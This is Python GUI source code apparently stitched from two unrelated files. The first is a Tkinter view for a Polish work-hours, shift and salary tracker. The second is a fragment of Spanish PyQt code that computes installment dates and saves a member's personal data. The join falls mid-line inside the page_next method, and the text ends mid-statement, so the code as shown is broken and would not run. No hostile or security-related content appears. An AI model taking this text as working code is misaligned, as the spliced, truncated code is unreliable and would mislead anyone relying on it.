option we can use\r\n self.l_legend = Label(self.my_frame1,text=l,borderwidth=2,relief=\"groove\",justify=\"left\")\r\n self.l_legend.grid(row=6,column=0,rowspan=2,columnspan=1,sticky=\"we\",padx=5,pady=5,ipady=5)\r\n\r\n #creating label ilosc godzin\r\n self.l_month_choosed = Label(self.my_frame1,text=\"Godziny w miesiącu:\")\r\n self.l_month_choosed.grid(row=6,column=1,columnspan=2,sticky=\"nsew\",padx=5,pady=(5,0),ipady=5)\r\n\r\n #creating label show number of hours in the specific month\r\n self.l_month_choosed_hours = Label(self.my_frame1,text=\"-\")\r\n self.l_month_choosed_hours.grid(row=7,column=1,columnspan=2,sticky=\"nsew\",padx=5,pady=(0,5),ipady=5)\r\n\r\n #if someone doesn't have a \"zlecenie\" then we have to set the specific view\r\n if self.dayjob!=\"-\":\r\n #text for label info hours\r\n self.l_info_hours_text = \"Ilość godzin do przepracowania: \"\r\n self.l_info_hours_number = float()\r\n #info about hours in month the dynamic field\r\n self.l_info_hours = Label(self.my_frame1,text=self.l_info_hours_text)\r\n self.l_info_hours.grid(row=8,column=0,columnspan=1,sticky=\"nsew\",padx=(5,5),pady=5,ipady=5)\r\n \r\n\r\n #creating label ilosc dyzurow\r\n self.l_month_shift = Label(self.my_frame1,text=\"Ilość dyżurów: \")\r\n self.l_month_shift.grid(row=8,column=1,columnspan=1,sticky=\"nsew\",padx=(5,0),pady=5,ipady=5)\r\n\r\n #creating label showing number of shifts, dynamic field\r\n self.l_month_shift_count = Label(self.my_frame1,text=\"\",justify=\"left\")\r\n self.l_month_shift_count.grid(row=8,column=2,columnspan=1,sticky=\"nsew\",padx=(0,5),pady=5,ipady=5)\r\n\r\n\r\n\r\n self.l_overtime_text = \"Ilość nagodzin w miesiącu: \"\r\n self.l_overtime_number = float()\r\n #info about overtiem in the month\r\n self.l_overtime = Label(self.my_frame1,text=self.l_overtime_text)\r\n self.l_overtime.grid(row=9,column=0,columnspan=1,sticky=\"nsew\",padx=(5,5),pady=5,ipady=5)\r\n\r\n #creating label ilosc l4\r\n self.l_month_leave_sick = Label(self.my_frame1,text=\"Ilość L4: \")\r\n self.l_month_leave_sick.grid(row=9,column=1,columnspan=1,sticky=\"nsew\",padx=(5,0),pady=5,ipady=5)\r\n\r\n #creating label showing number of leave sick\r\n self.l_month_leave_sick_count = Label(self.my_frame1,text=\"\")\r\n self.l_month_leave_sick_count.grid(row=9,column=2,columnspan=1,sticky=\"nsew\",padx=(0,5),pady=5,ipady=5)\r\n \r\n self.text_l_overtime_all_the_time = \"Ogólna suma nadgodzin: \"\r\n self.l_overtime_all_the_time = Label(self.my_frame1,text=self.text_l_overtime_all_the_time)\r\n self.l_overtime_all_the_time.grid(row=10,column=0,columnspan=3,sticky=\"nsew\",padx=5,pady=5,ipady=5)\r\n \r\n \r\n \r\n #print(dayjob) #debuggging\r\n # if someone has a \"zlecenie\" then he has an another view\r\n if self.dayjob==\"-\":\r\n self.l_overtime.grid_forget()\r\n self.l_month_leave_sick.grid_forget()\r\n self.l_month_leave_sick_count.grid_forget()\r\n self.l_overtime_all_the_time.grid_forget()\r\n #self.l_info_hours.grid_forget()\r\n #text for label earned money\r\n self.l_earned_money_text = \"Zarobione pieniądze: \"\r\n self.l_earned_money_number = float()\r\n self.l_earned_money = Label(self.my_frame1,text=self.l_earned_money_text)\r\n self.l_earned_money.grid(row=8,column=0,columnspan=1,sticky=\"nsew\",padx=(5,5),pady=5,ipady=5)\r\n #endregion\r\n\r\n\r\n\r\n #view region frame - 2\r\n #region\r\n #weights\r\n my_frame2_rows = 11\r\n my_frame2_columns = 5\r\n for i in range(0,my_frame2_columns+1):\r\n self.my_frame2.columnconfigure(i,weight=1)\r\n for i in range(0,my_frame2_rows+1):\r\n self.my_frame2.rowconfigure(i,weight=1)\r\n\r\n #set weight for a responsive view in columns, each column is the same\r\n \r\n \r\n #list for objects label, it will contain all labels of schedules\r\n self.list_days = []\r\n #the starting page of view\r\n self.page = 1\r\n #how much row we want to show\r\n self.numbers_of_rows = 11\r\n\r\n #self.generate_rows()\r\n \r\n\r\n #lable for day\r\n self.l_day = Label(self.my_frame2,text=\"Rok:\\tMiesiąc:\\tDzień:\\tIlość:\",borderwidth=2,relief=\"solid\")\r\n self.l_day.grid(row=0,column=0,columnspan=4,sticky=\"nsew\",pady=(5,5),padx=(5,0))\r\n \r\n\r\n #label for filtry only text\r\n self.l_available_filters = Label(self.my_frame2,text=\"Dostepne filtry:\",borderwidth=2,relief=\"solid\")\r\n self.l_available_filters.grid(row=0,column=4,columnspan=2,sticky=\"nsew\",padx=5,pady=5)\r\n\r\n #label do wpisania ilości godzin \r\n self.l_filter_number_of_hours = Label(self.my_frame2,text=\"Ilość godzin: \")\r\n self.l_filter_number_of_hours.grid(row=1,column=4,columnspan=1,sticky=\"nsew\",ipadx=5,padx=(5,0),pady=5)\r\n #entry pod wpisanie ilosci godzin it is used for filter\r\n self.e_filter_number_of_hours = Entry(self.my_frame2,width=6)\r\n self.e_filter_number_of_hours.grid(row=1,column=5,columnspan=1,sticky=\"nsew\",pady=5,padx=(0,5))\r\n #binding that the value has been changed\r\n self.e_filter_number_of_hours.bind(\"\",self.numbers_of_hours_value_changed)\r\n\r\n\r\n #label do wpisania miesiaca\r\n self.l_filter_month = Label(self.my_frame2,text=\"Miesiac: \")\r\n self.l_filter_month.grid(row=2,column=4,columnspan=1,sticky=\"nsew\",ipadx=5,padx=(5,0),pady=5)\r\n #entry pod wpisanie miseca\r\n self.e_filter_month = Entry(self.my_frame2,width=6)\r\n self.e_filter_month.grid(row=2,column=5,columnspan=1,sticky=\"nsew\",pady=5,padx=(0,5))\r\n #binding that the value has been changed\r\n self.e_filter_month.bind(\"\",self.month_value_changed)\r\n\r\n\r\n\r\n #label do wpisania ilości godzin\r\n self.l_filter_year = Label(self.my_frame2,text=\"Rok: \")\r\n self.l_filter_year.grid(row=3,column=4,columnspan=1,sticky=\"nsew\",ipadx=5,padx=(5,0),pady=5)\r\n #entry pod wpisanie ilosci godzin\r\n self.e_filter_year = Entry(self.my_frame2,width=6)\r\n self.e_filter_year.grid(row=3,column=5,columnspan=1,sticky=\"nsew\",pady=5,padx=(0,5))\r\n #binding that the value has been changed\r\n self.e_filter_year.bind(\"\",self.year_value_changed)\r\n\r\n\r\n\r\n #label for sort just text\r\n self.l_sort_type = Label(self.my_frame2,text=\"Sortuj przez: \",borderwidth=2,relief=\"solid\")\r\n self.l_sort_type.grid(row=4,column=4,columnspan=2,sticky=\"nsew\",padx=5,pady=5)\r\n\r\n self.list_sort = (\r\n #name #static-name\r\n \r\n [\"Rok\",\"year\"],\r\n [\"Miesiąc\",\"month\"],\r\n [\"Ilość godzin\",\"hours\"],\r\n [\"\",\"\"]\r\n )\r\n\r\n #combobox, which has options above\r\n self.c_sort_type = ttk.Combobox(self.my_frame2,width=10,state=\"readonly\",\r\n values=[\r\n self.list_sort[0][0],\r\n self.list_sort[1][0],\r\n self.list_sort[2][0],\r\n self.list_sort[3][0]\r\n ]\r\n )\r\n \r\n self.c_sort_type.grid(row=5,column=4,columnspan=2,sticky=\"nsew\",padx=5,pady=5)\r\n #binding, that the combox change the selected option\r\n self.c_sort_type.bind(\"<>\",self.sort_type_value_changed)\r\n\r\n\r\n \r\n #label for sort order\r\n self.l_sort_order = Label(self.my_frame2,text=\"Kolejność: \",borderwidth=2,relief=\"solid\")\r\n self.l_sort_order.grid(row=6,column=4,columnspan=2,sticky=\"nsew\",padx=5,pady=5)\r\n\r\n\r\n\r\n #combobox for set an order\r\n self.list_sort_order = (\r\n [\"Rosnąco\",False],\r\n [\"Malejąco\",True]\r\n )\r\n #combox, which has options above\r\n self.c_sort_order = ttk.Combobox(self.my_frame2,width=10,state=\"readonly\",\r\n values=[\r\n self.list_sort_order[0][0],\r\n self.list_sort_order[1][0]\r\n \r\n ]\r\n )\r\n self.c_sort_order.grid(row=7,column=4,columnspan=2,sticky=\"nsew\",padx=5,pady=5)\r\n #binding, that the combox change the selected option\r\n self.c_sort_order.bind(\"<>\",self.sort_order_value_changed)\r\n\r\n #previous page to change to showing page\r\n self.b_previous_page = Button(self.my_frame2,text=\"Poprzednia\", command=self.page_previous)\r\n self.b_previous_page.grid(row=8,column=4,columnspan=1,sticky=\"nsew\",padx=5,pady=5)\r\n #next page to change to showing page\r\n self.b_next_page = Button(self.my_frame2,text=\"Następna\", command=self.page_next)\r\n self.b_next_page.grid(row=8,column=5,columnspan=1,sticky=\"nsew\",padx=5,pady=5)\r\n\r\n #label for ilosc godzin przepracowanych\r\n self.l_number_of_hours_filtered_text = Label(self.my_frame2,text=\"Ilość przepracowanych godzin: \",borderwidth=2,relief=\"solid\")\r\n self.l_number_of_hours_filtered_text.grid(row=9,column=4,columnspan=2,sticky=\"nsew\",padx=5,pady=5)\r\n\r\n #label for przeliczona ilosc przepracowanyc godzin\r\n self.l_number_of_hours_filtered_result = Label(self.my_frame2,text=\"\",borderwidth=2,relief=\"solid\")\r\n self.l_number_of_hours_filtered_result.grid(row=10,column=4,columnspan=2,sticky=\"nsew\",padx=5,pady=5)\r\n\r\n\r\n\r\n #endregion\r\n \r\n #view region frame - 3\r\n #region \r\n\r\n\r\n my_frame3_rows = 8\r\n my_frame3_columns = 7\r\n for i in range(0,my_frame3_columns+1):\r\n self.my_frame3.columnconfigure(i,weight=1)\r\n for i in range(0,my_frame3_rows+1):\r\n self.my_frame3.rowconfigure(i,weight=1)\r\n \r\n\r\n \r\n #Upside\r\n\r\n ###MONTH\r\n #big text wynagrodzenie roczne\r\n self.l_salary_monthly_text = Label(self.my_frame3,text=\"Wynagrodzenie miesięczne\", borderwidth=2,relief=\"solid\")\r\n self.l_salary_monthly_text.grid(row=0,column=0,columnspan=5,padx=(5,5),pady=(5,5),sticky=\"nsew\")\r\n\r\n #lables for contains object to modify\r\n Frame3_Labels_left = []\r\n Frame3_Labels_right = []\r\n #text przepracowana ...\r\n self.l_number_of_hours_in_month_text = Label(self.my_frame3,text=\"Przepracowana ilość godzin:\")\r\n Frame3_Labels_left.append(self.l_number_of_hours_in_month_text)\r\n #dynamic text!\r\n self.l_number_of_hours_in_month_value = Label(self.my_frame3,text=\"x h\",width=10)\r\n Frame3_Labels_right.append(self.l_number_of_hours_in_month_value)\r\n \r\n #text przepracowana ...\r\n self.l_number_of_shifts_in_month_text = Label(self.my_frame3,text=\"Przepracowana ilość dyżurów:\")\r\n Frame3_Labels_left.append(self.l_number_of_shifts_in_month_text)\r\n \r\n #dynamic text!\r\n self.l_number_of_shifts_in_month_value = Label(self.my_frame3,text=\"x razy\")\r\n Frame3_Labels_right.append(self.l_number_of_shifts_in_month_value)\r\n\r\n #text przepracowana ...\r\n self.l_number_of_l4_in_month_text = Label(self.my_frame3,text=\"Ilość L4:\")\r\n Frame3_Labels_left.append(self.l_number_of_l4_in_month_text)\r\n #dynamic text!\r\n self.l_number_of_l4_in_month_value = Label(self.my_frame3,text=\"x razy\")\r\n Frame3_Labels_right.append(self.l_number_of_l4_in_month_value)\r\n \r\n #text suma....\r\n self.l_amount_of_overtime_text = Label(self.my_frame3,text=\"Ilość nadgodzin\")\r\n Frame3_Labels_left.append(self.l_amount_of_overtime_text)\r\n #dynamic text!\r\n self.l_amount_of_overtime_value = Label(self.my_frame3,text=\"xxx\")\r\n Frame3_Labels_right.append(self.l_amount_of_overtime_value)\r\n\r\n\r\n #text suma....\r\n self.l_sum_salary_for_hours_month_text = Label(self.my_frame3,text=\"Suma za godziny:\")\r\n Frame3_Labels_left.append(self.l_sum_salary_for_hours_month_text)\r\n #dynamic text!\r\n self.l_sum_salary_for_hours_month_value = Label(self.my_frame3,text=\"xxx\")\r\n Frame3_Labels_right.append(self.l_sum_salary_for_hours_month_value)\r\n \r\n #text suma....\r\n self.l_sum_amount_of_overtime_text = Label(self.my_frame3,text=\"Suma za nadgodziny\")\r\n Frame3_Labels_left.append(self.l_sum_amount_of_overtime_text)\r\n #dynamic text!\r\n self.l_sum_amount_of_overtime_value = Label(self.my_frame3,text=\"xxx\")\r\n Frame3_Labels_right.append(self.l_sum_amount_of_overtime_value)\r\n\r\n #text suma....\r\n self.l_sum_salary_for_shifts_month_text = Label(self.my_frame3,text=\"Suma za dyżury:\")\r\n Frame3_Labels_left.append(self.l_sum_salary_for_shifts_month_text)\r\n #dynamic text!\r\n self.l_sum_salary_for_shifts_month_value = Label(self.my_frame3,text=\"xxx\")\r\n Frame3_Labels_right.append(self.l_sum_salary_for_shifts_month_value)\r\n\r\n #text suma....\r\n self.l_sum_salary_for_l4_month_text = Label(self.my_frame3,text=\"Suma za L4:\")\r\n Frame3_Labels_left.append(self.l_sum_salary_for_l4_month_text)\r\n #dynamic text!\r\n self.l_sum_salary_for_l4_month_value = Label(self.my_frame3,text=\"xxx\")\r\n Frame3_Labels_right.append(self.l_sum_salary_for_l4_month_value)\r\n\r\n #text suma....\r\n self.l_sum_salary_for_all_month_text = Label(self.my_frame3,text=\"Całkowite wynagrodzenie:\")\r\n Frame3_Labels_left.append(self.l_sum_salary_for_all_month_text)\r\n #dynamic text!\r\n self.l_sum_salary_for_all_month_value = Label(self.my_frame3,text=\"xxx\")\r\n Frame3_Labels_right.append(self.l_sum_salary_for_all_month_value)\r\n \r\n \r\n #self.l_sum_salary_for_all_month_value.grid(row=7,column=7,columnspan=1,sticky=\"nsew\")\r\n\r\n for i in range(0,len(Frame3_Labels_left)):\r\n Frame3_Labels_left[i].grid(row=1+i,column=0,columnspan=3,sticky=\"nsew\",padx=5,pady=5,ipadx=5)\r\n Frame3_Labels_right[i].grid(row=1+i,column=4,columnspan=1,sticky=\"nsew\",padx=5,pady=5,ipadx=5)\r\n\r\n \r\n \r\n #down side\r\n # #label text\r\n self.l_right_side_text = Label(self.my_frame3,text=\"Dostępne filtry:\",borderwidth=2,relief=\"solid\")\r\n self.l_right_side_text.grid(row=0,rowspan=1,columnspan=2,column=5,padx=5,pady=5,sticky=\"nsew\")\r\n # #label text\r\n self.l_salary_year_text = Label(self.my_frame3,text=\"Za rok:\",borderwidth=2,relief=\"solid\")\r\n self.l_salary_year_text.grid(row=1,rowspan=1,column=5,padx=5,pady=5,sticky=\"nsew\")\r\n \r\n #entry for writing year\r\n self.e_salary_year = Entry(self.my_frame3,justify=\"center\",width=5)\r\n self.e_salary_year.grid(row=1, column=6,padx=5,pady=5,sticky=\"nsew\")\r\n self.e_salary_year.bind(\"\",self.calculate_salary)\r\n \r\n # #label text Za miesiac\r\n self.l_salary_month_text = Label(self.my_frame3,text=\"Za miesiąc:\",borderwidth=2,relief=\"solid\")\r\n self.l_salary_month_text.grid(row=2,column=5,padx=5,pady=5,sticky=\"nsew\")\r\n #entry for writing month\r\n self.e_salary_month = Entry(self.my_frame3,justify=\"center\",width=5)\r\n self.e_salary_month.grid(row=2,column=6,padx=5,pady=5,sticky=\"nsew\")\r\n self.e_salary_month.bind(\"\",self.calculate_salary)\r\n\r\n #label text Stawka za dyzury\r\n self.l_salary_price_shift_text = Label(self.my_frame3,text=\"Stawka za dyzury:\",borderwidth=2,relief=\"solid\", justify=\"center\")\r\n self.l_salary_price_shift_text.grid(row=3,column=5,padx=5,pady=5,sticky=\"nsew\")\r\n #entry for writing price shift\r\n self.e_salary_price_shift = Entry(self.my_frame3,justify=\"center\",width=5)\r\n self.e_salary_price_shift.grid(row=3,column=6,columnspan=1,padx=5,pady=5,sticky=\"nsew\")\r\n self.e_salary_price_shift.bind(\"\",self.calculate_salary)\r\n\r\n if self.dayjob==\"-\":\r\n self.l_sum_salary_for_l4_month_text.grid_forget()\r\n self.l_sum_salary_for_l4_month_value.grid_forget()\r\n \r\n self.l_sum_amount_of_overtime_text.grid_forget()\r\n self.l_sum_amount_of_overtime_value.grid_forget()\r\n \r\n self.set_default_value()\r\n self.calculate_salary()\r\n #endregion\r\n\r\n #view region frame - 4\r\n #region\r\n \r\n\r\n #set weight for a responsive view in columns, each column is the same\r\n # self.my_frame4.columnconfigure(0,weight=1)\r\n # self.my_frame4.columnconfigure(1,weight=1)\r\n # self.my_frame4.columnconfigure(2,weight=1)\r\n # self.my_frame4.columnconfigure(3,weight=1)\r\n # self.my_frame4.columnconfigure(4,weight=1)\r\n # self.my_frame4.columnconfigure(5,weight=1)\r\n\r\n # #random data\r\n # x = [ 1, 2, 3, 4]\r\n # y = [1, 4, 9 ,16]\r\n # y2 = [1,2,6,12]\r\n\r\n # #upside is a plot !!\r\n # self.figure = plt.Figure(dpi=100)\r\n # self.pl1 = self.figure.add_subplot(111)\r\n # self.pl1.plot(x,y,color='g')\r\n # self.pl1.plot(x,y2,color='r')\r\n # self.pl1.set_title(\"Wykres wynagrodzeń i ilości \\nprzepracowanych godzin w danym okresie\")\r\n # self.pl1.set_xlabel(\"Okres\")\r\n # self.pl1.legend([\"Wynagrodzenie\"])\r\n\r\n #self.plot_tk = FigureCanvasTkAgg(self.figure,self.my_frame4)\r\n #self.plot_tk.get_tk_widget().grid(row=0,column=0,columnspan=5, sticky=\"nsew\",ipady=5)\r\n\r\n #downside are fields\r\n #text(label)\r\n # self.l_scale_text = Label(self.my_frame4,text=\"Skala:\",borderwidth=2,relief=\"solid\")\r\n # self.l_scale_text.grid(row=1,column=0,sticky=\"nsew\",pady=5,padx=5)\r\n\r\n # self.list_scale_options = (\r\n # #name #static-name\r\n \r\n # [\"Roczna\",\"year\"],\r\n # [\"Miesięczna\",\"month\"],\r\n # [\"Tygodniowa\",\"hours\"],\r\n # [\"Od początku\",\"\"]\r\n # )\r\n\r\n\r\n #combox, which has options above\r\n # self.c_scale_options = ttk.Combobox(self.my_frame4,width=10,state=\"readonly\",\r\n # values=[\r\n # self.list_scale_options[0][0],\r\n # self.list_scale_options[1][0],\r\n # self.list_scale_options[2][0],\r\n # self.list_scale_options[3][0]\r\n \r\n # ]\r\n # )\r\n # self.c_scale_options.current(3)\r\n # self.c_scale_options.grid(row=1,column=1,columnspan=2,sticky=\"nsew\",padx=5,pady=5)\r\n\r\n\r\n\r\n\r\n #endregion\r\n\r\n #view region frame - 5\r\n #region\r\n my_frame5_rows = 0\r\n my_frame5_columns = 5\r\n for i in range(0,my_frame5_columns+1):\r\n self.my_frame5.columnconfigure(i,weight=1)\r\n # for i in range(0,my_frame5_rows+1):\r\n # self.my_frame5.rowconfigure(i,weight=1)\r\n \r\n \r\n \r\n self.l_export = Label(self.my_frame5,text=\"Exporty\",width=8,height=1)\r\n self.l_export.grid(row=0,column=0,columnspan=3,sticky=\"nsew\",padx=5,pady=5)\r\n \r\n self.l_date_start = Label(self.my_frame5,text=\"Data początkowa\")\r\n self.l_date_start.grid(row=1,column=0,columnspan=2,sticky=\"nsew\",padx=5,pady=5)\r\n \r\n self.e_date_start = Entry(self.my_frame5,width=7)\r\n self.e_date_start.grid(row=1,column=2,sticky=\"nsew\",padx=5,pady=5)\r\n \r\n self.l_date_end = Label(self.my_frame5,text=\"Data końcowa\")\r\n self.l_date_end.grid(row=2,column=0,columnspan=2,sticky=\"nsew\",padx=5,pady=5)\r\n \r\n self.e_date_end = Entry(self.my_frame5,width=7)\r\n self.e_date_end.grid(row=2,column=2,sticky=\"nsew\",padx=5,pady=5)\r\n \r\n self.l_date_info = Label(self.my_frame5,text=\"Prawidłowy format daty to: YYYY.MM\")\r\n self.l_date_info.grid(row=4,column=0,columnspan=3,rowspan=1,sticky=\"nsew\",padx=5,pady=5)\r\n\r\n self.b_expor_data_to_file = Button(self.my_frame5,text=\"Exportuj do pliku\", command=self.export_to_file)\r\n self.b_expor_data_to_file.grid(row=3,column=0,rowspan=1,columnspan=3,sticky=\"nsew\",padx=5,pady=5)\r\n\r\n\r\n self.l_settings = Label(self.my_frame5,text=\"Ustawienia\")\r\n self.l_settings.grid(row=0,column=3,columnspan=3,sticky=\"nsew\",padx=5,pady=5)\r\n \r\n self.l_type = Label(self.my_frame5,text=\"Typ umowy\")\r\n self.l_type.grid(row=1,column=3,columnspan=2,rowspan=1,sticky=\"nsew\",padx=5,pady=5)\r\n \r\n self.e_type = Entry(self.my_frame5,width=7)\r\n self.e_type.grid(row=1,column=5,columnspan=1,rowspan=1,sticky=\"nsew\",padx=5,pady=5)\r\n \r\n self.l_startingdate = Label(self.my_frame5,text=\"Czas rozpoczęcia umowy\")\r\n self.l_startingdate.grid(row=2,column=3,columnspan=2,sticky=\"nsew\",padx=5,pady=5)\r\n \r\n self.e_startingdate = Entry(self.my_frame5,width=7)\r\n self.e_startingdate.grid(row=2,column=5,columnspan=1,rowspan=1,sticky=\"nsew\",padx=5,pady=5)\r\n \r\n self.l_expirationdate = Label(self.my_frame5,text=\"Czas zakończenia umowy\")\r\n self.l_expirationdate.grid(row=3,column=3,columnspan=2,sticky=\"nsew\",padx=5,pady=5)\r\n \r\n self.e_expirationdate = Entry(self.my_frame5,width=7)\r\n self.e_expirationdate.grid(row=3,column=5,columnspan=1,rowspan=1,sticky=\"nsew\",padx=5,pady=5)\r\n \r\n \r\n self.l_hourlyrate = Label(self.my_frame5,text=\"Stawka na godzine\")\r\n self.l_hourlyrate.grid(row=4,column=3,columnspan=2,sticky=\"nsew\",padx=5,pady=5)\r\n \r\n self.e_hourlyrate = Entry(self.my_frame5,width=7)\r\n self.e_hourlyrate.grid(row=4,column=5,columnspan=2,sticky=\"nsew\",padx=5,pady=5)\r\n \r\n self.l_dayjob = Label(self.my_frame5,text=\"Etat:\")\r\n self.l_dayjob.grid(row=5,column=3,columnspan=2,sticky=\"nsew\",padx=5,pady=5)\r\n \r\n self.c_dayjob = ttk.Combobox(self.my_frame5, width=10, state=\"readonly\",\r\n values=[\r\n \"1/4\", \r\n \"1/2\",\r\n \"3/4\",\r\n \"Pełny\"]\r\n )\r\n \r\n self.c_dayjob.grid(row=5,column=5,sticky=\"nsew\",padx=5,pady=5)\r\n self.c_dayjob.current(0)\r\n \r\n self.b_change_settings = Button(self.my_frame5,text=\"Zapisz ustawienia\")\r\n self.b_change_settings.grid(row=6,column=3,columnspan=2,sticky=\"nsew\",padx=5,pady=5)\r\n \r\n \r\n #endregion\r\n\r\n #packing the frames\r\n self.my_frame1.pack(fill=\"both\",expand=1)\r\n self.my_frame2.pack(fill=\"both\",expand=1)\r\n self.my_frame3.pack(fill=\"both\",expand=1)\r\n #self.my_frame4.pack(fill=\"both\",expand=1)\r\n self.my_frame5.pack(fill=\"both\",expand=1)\r\n\r\n #add frame to notebook, and gives them names\r\n self.my_notebook.add(self.my_frame1, text=\"Zarządzaj godzinami\")\r\n self.my_notebook.add(self.my_frame2, text=\"Rozpiska\")\r\n self.my_notebook.add(self.my_frame3, text=\"Wynagrodzenie\")\r\n #self.my_notebook.add(self.my_frame4, text = \"Wykres\")\r\n self.my_notebook.add(self.my_frame5, text = \"Export/Ustawienia\")\r\n\r\n self.refresh_and_get_hours(event=None)\r\n self.show_number_of_hours_filtered()\r\n \r\n #loop \r\n self.rootofviewtabs.mainloop()\r\n\r\n \r\n #frame 1\r\n #region\r\n def refresh_and_get_hours(self,event):\r\n\r\n #changing the text inside the label to date got from calendar\r\n self.l_date[\"text\"] = self.calendar.get_date()\r\n #set chose_day based on chose day from calendar widget\r\n chose_day = self.calendar.get_date()\r\n #print(\"-------View-----\")\r\n #print(chose_day)\r\n #print(\"-------View------\")\r\n #print(chose_day)\r\n #delete value from e_hours\r\n self.e_hours.delete(0,END)\r\n #insert a new value inside e_hours, based on hours from schedule\r\n self.e_hours.insert(0,self.viewtabsmodel.get_hours_from_schedule(self.actualuser,chose_day))\r\n if self.dayjob != \"-\":\r\n #number of hours, which is needed to work based on dayjob\r\n self.l_info_hours_number = self.viewtabsmodel.get_hours_of_working(self.actualuser,chose_day)\r\n self.l_info_hours[\"text\"] = self.l_info_hours_text+str(self.l_info_hours_number)\r\n #refresh view data\r\n self.refresh_view_data(chose_day)\r\n \r\n\r\n #functions returns full date and parts of date\r\n def today(self):\r\n return self.viewtabsmodel.get_today()\r\n\r\n def today_year(self):\r\n return self.viewtabsmodel.get_today_year()\r\n\r\n def today_month(self):\r\n return self.viewtabsmodel.get_today_month()\r\n\r\n def today_day(self):\r\n return self.viewtabsmodel.get_today_day()\r\n\r\n def count_the_overtime_all_time(self):\r\n overtime = self.viewtabsmodel.get_the_overtime_all_time(self.actualuser)\r\n self.l_overtime_all_the_time[\"text\"] = self.text_l_overtime_all_the_time + str(overtime)\r\n\r\n def set_hour_to_date(self):\r\n #get date from calendar widgets\r\n chose_day = self.calendar.get_date()\r\n #get hour from widgets e_hours\r\n hour = self.e_hours.get()\r\n #settting new hour to specific date\r\n self.viewtabsmodel.set_hour_to_schedule(self.actualuser,chose_day,hour)\r\n #after changing refresh view\r\n self.refresh_view_data(chose_day)\r\n\r\n\r\n def delete_hour_from_schedule(self):\r\n\r\n #get date from calendar widget\r\n chose_day = self.calendar.get_date()\r\n #use function to delte a schedule, by sending chose_day and user\r\n self.viewtabsmodel.set_hour_to_schedule(self.actualuser,chose_day,\"-\")\r\n #after changing refresh view\r\n self.refresh_view_data(chose_day)\r\n #change the value inside the e_hours\r\n self.e_hours.delete(0,END)\r\n self.e_hours.insert(0,\"-\")\r\n\r\n\r\n def refresh_view_data(self,chose_day):\r\n\r\n #calculate the sum of hours in the month\r\n self.l_month_choosed_hours[\"text\"] = self.viewtabsmodel.get_sum_of_hours(self.actualuser,chose_day)\r\n #calculate a number of shifts\r\n self.l_month_shift_count[\"text\"] = self.viewtabsmodel.get_sum_of_shifts(self.actualuser,chose_day)\r\n #calculate a number of L4\r\n if self.dayjob!=\"-\":\r\n self.l_month_leave_sick_count[\"text\"] = self.viewtabsmodel.get_sum_of_leave_sick(self.actualuser,chose_day)\r\n #calculate a number of overtime\r\n self.l_overtime_number = float(self.l_month_choosed_hours[\"text\"])-float(self.l_info_hours_number)\r\n self.l_overtime[\"text\"] = self.l_overtime_text+str(self.l_overtime_number)\r\n self.count_the_overtime_all_time()\r\n else:\r\n hours = self.l_month_choosed_hours[\"text\"]\r\n value = self.viewtabsmodel.value_of_earned_money(self.actualuser,hours)\r\n self.l_earned_money[\"text\"] = self.l_earned_money_text + str(value)+\" zł\"\r\n self.l_earned_money_number = value\r\n \r\n ### REFRESH ROZPISKA FRAME 2!\r\n self.generate_rows()\r\n ### REFRESH FRAME 3!\r\n self.calculate_salary()\r\n\r\n\r\n #endregion\r\n\r\n #frame 2\r\n #region\r\n\r\n #def for assign the view value to model-view value\r\n #it's for sort type changed \r\n def sort_type_value_changed(self,event):\r\n self.viewtabsmodel.change_sort_type_value(\r\n self.list_sort[\r\n self.c_sort_type.current()\r\n ][1]\r\n )\r\n self.generate_rows()\r\n \r\n #def for assign the view value to model-view value\r\n #it's for sort order changed\r\n def sort_order_value_changed(self,event):\r\n self.viewtabsmodel.change_sort_order_value(\r\n self.list_sort_order[\r\n self.c_sort_order.current()\r\n ][1]\r\n )\r\n self.generate_rows()\r\n\r\n #def for assign the view value to model-view value hours\r\n def numbers_of_hours_value_changed(self,event):\r\n self.viewtabsmodel.change_filter_hours_value(\r\n self.e_filter_number_of_hours.get()\r\n )\r\n self.generate_rows()\r\n self.show_number_of_hours_filtered()\r\n \r\n \r\n #def for assign the view value to model-view value month\r\n def month_value_changed(self,event):\r\n self.viewtabsmodel.change_filter_month_value(\r\n self.e_filter_month.get()\r\n )\r\n self.generate_rows()\r\n self.show_number_of_hours_filtered()\r\n \r\n #def for assign the view value to model-view value year\r\n def year_value_changed(self,event):\r\n self.viewtabsmodel.change_filter_year_value(\r\n self.e_filter_year.get()\r\n )\r\n self.generate_rows()\r\n self.show_number_of_hours_filtered()\r\n \r\n\r\n #changing page\r\n def page_next(self):\r\n #if the displayed list days are less then max number of rows\r\n if len(self.list_days) 12 and nuevo_mes < 24:\n nuevo_mes = nuevo_mes % 12\n if nuevo_mes == 0:\n nuevo_mes=12\n nuevo_year += 1\n elif nuevo_mes > 23 and nuevo_mes < 37:\n nuevo_mes = nuevo_mes % 12\n if nuevo_mes == 0:\n nuevo_mes=12\n nuevo_year += 2\n elif nuevo_mes > 36 and nuevo_mes < 49:\n nuevo_mes = nuevo_mes % 12\n if nuevo_mes == 0:\n nuevo_mes=12\n nuevo_year += 3\n elif nuevo_mes > 48 and nuevo_mes < 61:\n nuevo_mes = nuevo_mes % 12\n if nuevo_mes == 0:\n nuevo_mes=12\n nuevo_year += 4\n #pyqtRemoveInputHook()\n #import pdb; pdb.set_trace()\n obj_fecha_cuota= datetime.datetime(nuevo_year, nuevo_mes, nuevo_dia)\n nro_cta= i+1\n rowPosition = self.obj_form.tw_capital_integrado.rowCount()\n self.obj_form.tw_capital_integrado.insertRow(rowPosition)\n self.obj_form.tw_capital_integrado.setItem(rowPosition , 0, QTableWidgetItem(str(nro_cta)))\n self.obj_form.tw_capital_integrado.setItem(rowPosition , 1, QTableWidgetItem(str(obj_fecha_cuota)))\n self.obj_form.tw_capital_integrado.setItem(rowPosition , 2, QTableWidgetItem(str(valor_cta)))\n self.obj_form.tw_capital_integrado.setItem(rowPosition , 3, QTableWidgetItem(\"efectivo\"))\n self.obj_form.tw_capital_integrado.setItem(rowPosition , 4, QTableWidgetItem(\"A pagar\"))\n\n msgBox = QMessageBox()\n msgBox.setWindowTitle(\"OK\")\n msgBox.setText('Se guardo correctamente el capital suscripto')\n msgBox.exec_()\n\n\n def guardar_datos_personales(self):\n\n obj_party_party = E_party_party()\n obj_party_party.nombre =self.obj_form.lne_nro_asoc.text()\n obj_party_party.apellido = self.obj_form.lne_apellido.text()\n obj_party_party.estado_civil = self.obj_form.cbx_estado_civil.currentText()\n obj_party_party.fec_nac = self.obj_form.dte_fec_nac.text()\n obj_party_party.cuit_cuil = self.obj_form.lne_nro_cuil.text()\n obj_party_party.tipo_doc = 